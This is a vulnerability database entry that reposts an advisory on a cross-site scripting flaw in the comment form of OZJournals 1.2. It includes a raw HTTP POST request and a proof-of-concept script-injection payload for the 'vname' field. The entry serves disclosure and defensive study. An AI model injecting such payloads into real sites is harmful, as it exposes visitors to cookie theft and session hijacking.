OZJournals 1.2 Vname Parameter Cross-Site Scripting Vulnerability

2014-07-01T00:00:00
ID SSV:81450
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/17954/info

OZJournals is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OZJournals 1.2 is reported to be vulnerable. Other versions may be affected as well.

# OZJournals 1.2 <= Cross Site Scripting Vulnerability 
#
# Risk: Less critical
# Class: Remote
# Script: OZJournals 1.2
# Version: 1.2

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Post Request:

http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=post
POST /ozjournals/ozjournals/index.php?show=comments&action=post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
vname=test&vemail=mail%40mail.it&vlocation=test&vcomment=test

ou can insert in the name an XSS code or you can modify the request in this way:

vname=<SCRIPT>alert("lol");</SCRIPT>&vemail=mail%40mail.it&vlocation=test&vcomment=test

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Credit

Author: Kiki
Site: http://kiki91.altervista.org
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